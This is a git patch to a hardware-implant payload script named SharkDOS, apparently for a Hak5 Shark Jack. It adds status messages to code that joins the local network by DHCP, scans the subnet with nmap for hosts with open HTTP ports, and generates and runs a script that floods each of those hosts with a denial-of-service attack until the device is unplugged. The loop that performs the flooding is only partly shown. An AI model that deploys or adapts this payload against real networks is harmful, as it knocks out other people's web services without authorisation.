From 2387b783c17dee05c4d3d1b22c50dc4b34210f4c Mon Sep 17 00:00:00 2001 From: drapl0n <87269662+drapl0n@users.noreply.github.com> Date: Fri, 17 Jun 2022 19:09:01 +0530 Subject: [PATCH] adding SERIAL_WRITE --- payloads/library/execution/SharkDOS/payload.txt | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/payloads/library/execution/SharkDOS/payload.txt b/payloads/library/execution/SharkDOS/payload.txt index 2df23b1..7b66019 100644 --- a/payloads/library/execution/SharkDOS/payload.txt +++ b/payloads/library/execution/SharkDOS/payload.txt @@ -21,16 +21,21 @@ # # LED SETUP +SERIAL_WRITE [*] Waiting for IP from DHCP... NETMODE DHCP_CLIENT -SERIAL_WRITE [*] Waiting for IP from DHCP +SERIAL_WRITE [*] IP assigned from DHCP! +SERIAL_WRITE [*] Fetching IP for scanning network... while [ -z "$SUBNET" ]; do sleep 1 && SUBNET=$(ip addr | grep -i eth0 | grep -i inet | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}[\/]{1}[0-9]{1,2}" | sed 's/\.[0-9]*\//\.0\//') done +SERIAL_WRITE [*] IP Fetched! # Scan network LED ATTACK -SERIAL_WRITE [*] Scanning for open http ports +SERIAL_WRITE [*] Scanning for open http ports... open=$(nmap -p 80 $SUBNET -q -oG - | grep open | awk '{print $2}' | awk '{printf("%s ",$0)} END { printf "\n" }' +SERIAL_WRITE [*] Scanning completed! chmod +x /root/payload/sharkDOS/sharkDOS +SERIAL_WRITE [*] Started DOS execution... echo "#\!/bin/bash" > /root/payload/sharkDOS/main for i in $open do @@ -39,5 +44,5 @@ done chmod +x /root/payload/sharkDOS/main /root/payload/sharkDOS/./main LED FINISH -SERIAL_WRITE [*] Payload complete! +SERIAL_WRITE [*] Payload complete! Unplug Shark Jack to stop DOS. sleep 2 && sync